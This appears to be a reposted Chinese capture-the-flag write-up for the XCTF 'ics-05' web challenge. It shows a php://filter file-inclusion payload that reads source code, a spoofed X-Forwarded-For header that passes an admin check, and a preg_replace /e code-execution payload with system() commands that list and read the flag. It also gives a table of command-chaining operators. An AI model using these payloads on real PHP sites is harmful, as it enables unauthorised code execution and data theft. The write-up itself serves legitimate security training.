欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 美景 > 攻防世界 ics-05

攻防世界 ics-05

2024/11/30 7:33:00 来源:https://blog.csdn.net/beiweixiaotian66/article/details/142067244  浏览:    关键词:攻防世界 ics-05

ics-05

隐藏的变量传参,php弱类型比较

只有设备维护中心可以点击进去

img

查看源码,发现有个隐藏的超链接变量传参

img

看到变量传参,有可能存在文件包含漏洞读取源码,这个站是php的站,所以可以使用php伪协议读取源码

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

img

base解码,可以看到漏洞点在这里

<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}
?>

分析一下,传入了三个变量pat,rep,sub

preg_replace:执行一个正则表达式的搜索和替换
● pattern 要搜索的模式。可以是一个字符串或字符串数组。  
● replacement 用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且 pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。  
● subject要进行搜索和替换的字符串或字符串数组。
● limit 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。
● count 如果指定,将会被填充为完成的替换次数。找到这个函数存在的漏洞就是当$pattern使用了/e修正符的时候,替换的时候会将$replacement替换进去的代码当成php执行

img

所以先抓包,添加一个X-Forwarded-For

img

接着查看可疑文件,用%20代替空格 %26代替&,%20%26是它们的url编码

命令联合执行
;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)
system("ls%20s3chahahaDir")     
system("cd%20s3chahahaDir%26%26ls")

img

继续查看文件内容

system("ls%20s3chahahaDir/flag")
system("cd%20s3chahahaDir/flag")

img

拿到flag

system("cat%20s3chahahaDir/flag/flag.php")
system("cd%20s3chahahaDir/flag%26%26cat%20flag.php")

img

攻防世界XCTF:ics-05_xctf-insc05-CSDN博客

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com